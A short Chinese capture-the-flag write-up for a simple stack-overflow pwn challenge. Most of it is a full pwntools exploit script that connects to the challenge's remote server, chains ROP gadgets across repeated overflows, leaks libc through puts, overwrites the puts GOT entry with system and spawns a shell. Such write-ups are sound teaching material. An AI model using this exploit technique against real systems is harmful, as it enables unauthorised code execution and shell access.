一道很简单的pwn

 

main

保护除了nx都没有开 典型的栈溢出题目 溢出处主要是

    000000000000000A buf             db 10 dup(?)            ; base 10
    +0000000000000000  s              db 8 dup(?)
    +0000000000000008  r              db 8 dup(?)

还有这里

    puts("stack:");
      return read(0, &buf, 0x20uLL);

主要就是溢出的字节数太少了 可以选择栈转移pivot或者别的奇技淫巧 这里有一个很好的技巧 利用的数rbp字段每次都会保存 具体payload如下:

from pwn import *
context.log_level = "debug"
#p = process("./task_main")

p = remote("202.112.51.184", 30002)
elf = ELF("./task_main")
libc = ELF("/libc.so.6")

pop_rdi_ret = 0x400693
pop_bx_bp_12131415_ret = 0x40068A
vuln_call = 0x400611
bss = 0x601060
libc_init = 0x400670
ret = 0x4004ae
payload = []
payload += [pop_rdi_ret, elf.got["read"], elf.plt["puts"]] # leak
payload += [pop_bx_bp_12131415_ret, 0, 1, elf.got["read"], 0, elf.got["puts"], 8, 0x400670, 0,0,0,0,0,0,0] # read(0, got[puts], 8)
payload += [pop_rdi_ret, bss, elf.plt["puts"]] # system("/bin/sh")

def push(data):
    pl = "B" * 10
    pl += p64(data)
    pl += p64(vuln_call)
    once("A" * 0x1, pl)

def once(bss, stack):
    p.recvuntil("bss:\n")
    p.send(bss)
    p.recvuntil("stack:\n")
    p.send(stack)



push(payload[-1])
for i in xrange(1, len(payload)):
    push(payload[-i-1])

#gdb.attach(p, "b *0x40068A\nc")

pl = "B" * 10
pl += p64(0)
pl += p64(ret)
once("/bin/sh\x00".ljust(0x10, "C"), pl)

t = p.readline()[:6]
puts = u64(t + "\x00\x00")
base = puts - libc.symbols["read"]
log.info("base: %lx", base)
system = base + libc.symbols["system"]

p.send(p64(system))

p.interactive()
p.close()

思路就是利用通用rop,改写got表还有一些调用约定了,没啥好说的